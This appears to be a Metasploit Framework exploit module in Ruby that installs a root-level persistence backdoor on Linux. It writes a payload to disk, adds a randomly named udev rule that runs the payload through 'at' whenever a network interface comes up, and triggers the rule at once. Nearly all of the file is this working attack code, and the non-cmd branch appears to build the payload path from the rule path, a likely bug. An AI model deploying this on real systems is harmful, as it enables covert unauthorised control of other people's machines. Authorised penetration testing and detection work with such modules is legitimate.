h00die
121 lines
4.5 KiB
Ruby
121 lines
4.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
include Msf::Exploit::Local::Persistence
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Deprecated
|
|
moved_from 'exploits/linux/local/udev_persistence'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'udev Persistence',
|
|
'Description' => %q{
|
|
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
|
|
It'll be executed with root privileges everytime a network interface other than l0 comes up.
|
|
Execution is triggered through at command, so it must be installed on the target.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Julien Voisin'
|
|
],
|
|
'Platform' => [ 'unix', 'linux' ],
|
|
'Arch' => [
|
|
ARCH_CMD,
|
|
ARCH_X86,
|
|
ARCH_X64,
|
|
ARCH_ARMLE,
|
|
ARCH_AARCH64,
|
|
ARCH_PPC,
|
|
ARCH_MIPSLE,
|
|
ARCH_MIPSBE
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => '\n"'
|
|
},
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [ ['Automatic', {}] ],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2003-11-01', # udev release date
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
},
|
|
'References' => [
|
|
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
|
|
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
|
|
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
|
|
['ATT&CK', Mitre::Attack::Technique::T1546_017_UDEV_RULES]
|
|
]
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
|
|
OptString.new('UDEV_PATH', [false, 'Path to udev', '/lib/udev/rules.d/']),
|
|
OptString.new('UDEV_RULE', [false, 'Rule name for udev. Defaults to random']),
|
|
])
|
|
end
|
|
|
|
def check
|
|
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
|
|
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
|
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
|
|
return CheckCode::Safe("#{datastore['UDEV_PATH']} doesnt exist") unless exists?(datastore['UDEV_PATH'])
|
|
return CheckCode::Safe("#{datastore['UDEV_PATH']} isnt writable") unless writable?(datastore['UDEV_PATH'])
|
|
|
|
return CheckCode::Safe('at commmand not found') if get_at_command('').nil?
|
|
|
|
CheckCode::Appears('likely exploitable')
|
|
end
|
|
|
|
def get_at_command(payload_path)
|
|
return nil unless executable? '/usr/bin/at'
|
|
|
|
%(/usr/bin/at -M -f #{payload_path} now)
|
|
end
|
|
|
|
def install_persistence
|
|
udev_rule = datastore['UDEV_RULE'].blank? ? %(#{Rex::Text.rand_text_numeric(2)}-#{Rex::Text.rand_text_alphanumeric(8)}.rules) : datastore['UDEV_RULE']
|
|
backdoor_path = "#{datastore['UDEV_PATH']}/#{udev_rule}"
|
|
payload_path = "#{writable_dir}/#{(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alphanumeric(5..10))}"
|
|
|
|
if exists? backdoor_path
|
|
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
|
|
end
|
|
|
|
if payload.arch.first == 'cmd'
|
|
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload.encoded}")
|
|
else
|
|
payload_path = writable_dir
|
|
payload_path = payload_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
|
|
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
|
|
payload_path << payload_name
|
|
print_status("Uploading payload file to #{payload_path}")
|
|
upload_and_chmodx payload_path, generate_payload_exe
|
|
end
|
|
@clean_up_rc << "rm #{payload_path}\n"
|
|
|
|
print_good "#{payload_path} written"
|
|
|
|
fail_with(Failure::PayloadFailed, 'Failed to write UDEV file') unless write_file(backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_at_command(payload_path)}"))
|
|
@clean_up_rc << "rm #{backdoor_path}\n"
|
|
|
|
print_good "#{backdoor_path} written"
|
|
|
|
# need to trigger first rule manually
|
|
print_status 'Triggering udev rule'
|
|
cmd_exec('udevadm trigger -v --subsystem-match=net')
|
|
end
|
|
end
|